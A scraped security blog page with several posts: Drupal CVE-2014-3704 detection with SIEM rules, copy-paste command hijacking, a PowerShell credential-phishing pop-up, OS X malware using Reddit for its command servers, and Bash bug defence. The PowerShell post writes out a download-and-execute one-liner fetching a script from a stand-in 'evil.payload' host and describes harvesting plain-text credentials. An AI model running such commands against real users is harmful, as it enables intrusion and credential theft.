Patch Drupal Yesterday – CVE-2014-3704

If you are currently running any Drupal 7 web applications, there is a very critical SQL Injection vulnerability affecting Drupal Core. This was publicly released on Wednesday, 10/15/14 along with an exploit. The proof of concept simply modifies the administrator’s username and password, allowing an attacker to gain administrative access to the Drupal application.

“Drupal 7 includes a database abstraction API to ensure that queries executed against the database are sanitized to prevent SQL injection attacks.

A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP execution, or other attacks.

This vulnerability can be exploited by anonymous users.”

Drupal Security Team

SQLi test against Drupal 7.31 application

SQL injection test against Drupal 7.31 application

The vulnerability is ranked as Highly Critical, a 5 out of 5 on the Drupal Security Team’s risk scale… A patch has been released and upgrading to Drupal Core version 7.32 will remediate this vulnerability. If you host Drupal sites, it is imperative that you patch soon. One quick way to test and see what sites have yet to be patched would be to make a simple bash loop to check all the known Drupal sites in your environment and see if any of them are still vulnerable.

Drupal 7 SQLi Sweep Test

Drupal 7 SQLi Sweep Test

Be very careful doing this, it will modify the admin’s password on every vulnerable site!

Even though this was only publicly released just a couple days ago, there is a chance that this vulnerability has been known for quite some time as it affects every Drupal 7 web application running version 7.31 or older. Luckily there are log traces of this attack that can be used to ascertain whether or not the vulnerability has been exploited.

The evidence in question lies within the Drupal Watchdog logs. Ideally this information should be extracted and stored in a SIEM or similar central logging solution. However, if you are only moving server logs off of the host then you are missing a good portion of the actionable evidence. Not to mention that once an attacker has gained access they can simply clear out the logs, erasing all remnants of the attack within the application.

Clearing the logs...

Clearing the logs…

If you are not offloading these logs to a SIEM and are lucky enough to still have Watchdog logs available following a breach, then you should search through these for the following four events in succession. Sometimes there will only be the first three (from bottom to top) as the attacker may wait to actually log in.

Correlated Events

Correlated Events

The details of the three messages to look for are:

  1. Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 478 of /var/www/redman/includes/unicode.inc).
  2. Warning: addcslashes() expects parameter 1 to be string, array given in DatabaseConnection->escapeLike() (line 981 of /var/www/redman/includes/database/database.inc).
  3. Login attempt failed for .

The nice thing about this attack is that the logs consistently provide us with valuable data, making it very easy to create a correlated events on a successful attack. So, if you are unsure of whether or not all of the Drupal 7 sites have been adequately patched, it’s a good idea to alert the SOC to successful attacks against any Drupal applications in the environment. Using LogRhythm this can be done with a simple correlated event rule block that looks for these messages in quick succession. I’ve included an example rule below that simply looks for this activity within the Watchdog logs. The first of which alerts on the message data from the first portion of the attack within Drupal 7 UDLA logs…

Rule Block 1

Rule Block 1

The second rule block looks for the next error message in the Watchdog database table…

Rule Block 2

Rule Block 2

And the third rule block looks for a failed login with a [ blank username ].

Rule Block 3

Rule Block 3

All of which is grouped by the same Impacted Host.

AIE Rule Group By

AIE Rule Group By

You could also add a rule looking for a successful login using the admin account. However they could change the admin’s username and may not even log in for quite some time following a successful attack. For this reason I did not include the fourth potential log message in the rule.

If you have a WAF that is tuned properly, this attack should be blocked. The LogRhythm Web Application Defense Module can assist with detecting this attack as well. Due to the popularity of this CMS, many organizations currently have a very large number of Drupal applications and often have little control over when they get patched. For this reason, it is beneficial to now when these applications are successfully compromised at the very least. Alerting on this activity will allow the security team to make a business case to get the sites patched in a reasonable amount of time as the only true way to fix this issue is to upgrade to Drupal 7.32 as soon as possible.

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none | SecuritySIEM

 
 

What you see is not what you copy

Tricking users into copying different commands from what is displayed on a web page…

OK, maybe I’m late to this party but I recently came across a very cool attack vector that I had not heard about until now. There’s an excellent write up on this here that was actually published in 2008, so I won’t go through the details of how this works. However you can view an interactive demo of this in action here.

Essentially, this is ruse that can be used to trick people into running a different command on their system than what they thought they had initially copied from a website. Go ahead and try it out over at JSFiddle.net, just copy the text within the ‘result’ box and paste it into a text editor to review the full command. Neat, huh?!

HTML rendered text example

HTML rendered text example

HTML source of the attack - python reverse shell

HTML source of the attack – python reverse shell

The demo above shows an attempt to shovel a reverse python shell back to the attackers system though make it appear like the command simply echoed “this is a test” to the screen as expected. This proof of concept is demonstrated below.

Attack Proof-of-Concept – Click To Enlarge

This is merely another vector that can be leveraged in social engineering attacks. Demonstrating the risk with blindly copying + running commands from websites that you do not trust. Always re-type commands such as this or paste them into a text-editor prior to running them directly. Also, if you are cloning a repository from a resource such as GitHub, review the code before integrating this into your project. All too often websites are backdoored due to the themes or modules that have been downloaded and installed from an un-trusted repository without going through code-review. In general, you shouldn’t implicitly trust anything at face value; trust but verify…

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none | SecurityUncategorized

 
 

Do You Trust Your Computer?

These past couple weeks have been a blur. I had the opportunity to attend and speak at both AppSecUSA and DerbyCon and can not say enough good things about these conferences. There were so many excellent talks and activities that it’s hard to pinpoint any one highlight due to the sheer number of talented folks in attendance.

Instead, I’d like to discuss some of the topics regarding insider threats, pivoting, and gaining access to plain text credentials once inside an organization. There are many tactics that attackers will use to avoid detection while ransacking a company from the inside-out. Many of the talks this year focused on Windows and PowerShell. Just a few of my favorites were Et Tu Kerberos by @obscuresec, Abusing Active Directory in Post-Exploitation by @Carlos_Perez, PowerShell MITM by @subTee, Passing the Torch by @harmj0y and @davidpmcguire, among many others. This topic is interesting because the focus is centered around built-in Windows functionality as opposed to tools and exploits. You really should watch the talks to understand the full impact of the concepts presented.

AppSecUSA and DerbyCon

AppSecUSA + DerbyCon

However, I am not going to talk about getting shells or pivoting in this post… Instead, I want to look into other abuses of functionality that are possible in the enterprise. One of my favorite attack vectors is imitating a legitimate service, program, etc. and using this to gain privileged access to resources. This approach has great potential in an enterprise environment and is only limited by the adversaries creativity…

While attending @FuzzyNop‘s DerbyCon talk, he mentioned some neat ways to set up a C&C using twitter along with some other useful tricks. However, he showed the crowd one thing that I hadn’t seen before. A really useful OSX one-liner that simply pops-up a prompt asking for your password, masquerading as though it originated from a legitimate application. This is very easy to execute on remote hosts via SSH and makes my old pranks using the ‘say’ command look pretty lame.

OSX Password Prompt Pop Up

OSX Password Prompt Pop Up

After playing around with the OSX command in the office, I wanted to do the same thing in Windows. So, I put together a short PowerShell script… It basically pops-up a ‘Layer 8 Error’ alert box that notifies the user that ‘there was an issue with their account,’ followed by a login prompt.

PowerShell Pop Up Pwn

PowerShell Pop Up Pwn

The nice thing with PowerShell, aside from PowerSploit of course, is that you can easily execute PowerShell on just about any modern Windows host. Not to mention that you don’t even need to move any files to the target. Also, I was able to tie in to the existing PromptForCredential() function and pass input received through ConvertFrom-SecureString to convert the credentials entered to plain text. Depending on the environmental restrictions in place, you can use WMIPSRemoting, PSExec, meterpreter, or my favorite avenue is hosting the file somewhere and pulling it down to the target:

IEX (New-Object Net.WebClient).DownloadString(‘hxxp://evil.payload/ppwn.ps1’)

If you already have a meterpreter session, you can use the exec_powershell post exploitation module to launch the script on the host.

Meterpreter PowerShell_Exec

Metasploit PowerShell_Exec Post Exploitation

After obtaining administrative rights on the host, you can target other users by migrating to a process owned by that user and launching the PowerShell script. Please note, this can be hit-or-miss depending on the process you target.

targeting other users

Targeting Specific Users

If the user attempts to just close out the dialog box or the captured credentials don’t work, you can re-run it as many times as necessary by calling the ppwn() function. Eventually they’ll fill it out just to make it go away…

PowerShell Script Reuse

PowerShell Script Reuse

This is just a simple proof of concept that demonstrates one of the many ways to steal plain text credentials using a ‘trusted dialog box.’ If you’re interested in playing with this script, it can be downloaded at the link below. Feel free to reach out if you have any recommendations for my very poorly coded PowerShell script or similar tricks to share.

https://github.com/gfoss/misc/blob/master/PowerShell/popuppwn.ps1

There are many other ways to pull off this same attack, along with various methods that do not require any user interaction whatsoever. The point is that these are simple techniques and adversaries have unlimited avenues regardless of the environment variables and operating systems they are targeting. In short, any service or application that you use regularly can be cloned and used against you. They will get in, the trick is finding them once they are inside…

you’re doing it wrong

Defending is much more difficult than attacking in general. However, there are many steps you can take to detect attacks such as this. Primarily, services such as SSH and PowerShell Remoting should be disabled or limited to specific users on desktops unless there is valid business justification to enable such functionality. Along with disabling risky services, understanding your network architecture and most importantly – log data, is absolutely critical when it comes to monitoring the network. Taking precautions to protect clients using a content filtering Web proxy with SSL inspection capabilities and implementing proper network segmentation are additional defensive layers that make life more difficult for the attacker. If you know where your systems are and understand their expected behavior, you can tune out a significant amount of the ‘noise’ and focus on the unknown unknowns – often referred to as insider threats.

So… Do you still trust your own computer?

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none | Security

 
 

Malware CnC via Reddit

Security researchers at Doctor Web have published details of a new piece of OS X malware. While information about how the malware spreads is scarce, they were able to uncover the fairly novel mechanism by which the malware discovers command and control servers. The malware uses the search feature of the social media site Reddit to search for the first 8 bytes of the MD5 hash of the current date. The malware then chooses IPs and ports from the search results in /r/minecraftserverlists to attempt connections.  Far fewer than 20,000 infected systems have been found, but the innovative means by which the creators are handling CnC is what’s interesting.

Dr.Web New Mac OS X Botnet Discovered Article

none | GeneralSecurity

 
 

Can we protect ourselves from the Bash bug?

Following the discovery of the Bash vulnerability last week, people have been speculating over what can be done to protect our machines and devices. Indeed, organizations are going to need to act quickly when considering the huge number of hosts at risk. If the flaw is used by hackers, they’re going to have a field day going through confidential information and getting their hands on anything, from usernames and passwords to account numbers and personal data.  Clearly the consequences are far-reaching and a lot of individuals and enterprises are likely to suffer.

While antivirus software and firewalls are the basic line of defense for most organizations, they’re not going to be able to stop the attackers getting in this way.  It has therefore never been more important that other controls are put in place that can minimize the damage this weakness could cause.  An effective measure would be to implement protective monitoring tools that provide complete visibility into the network.  Not only can this strategy be implemented with relative speed – which really is of the essence – but as these solutions alert on any suspicious activity immediately, organizations are in a far better position to react and contain the threat before it causes any lasting damage.

Cyber attacks against businesses are becoming more and more frequent and there really is no excuse for not having the proper defenses in place to deal with them.  With it still unclear as to whether this flaw can be fixed entirely, organizations must protect themselves as best they can using tools that will allow them to see exactly what is happening on the network in real-time.  It is already a case of when you get breached, rather than if – and leaving this Bash hole open is just going to make that happen faster.

For a more in-depth look at how the Bash exploit works, check out Mark Vankempen’s recent blog.

none | Uncategorized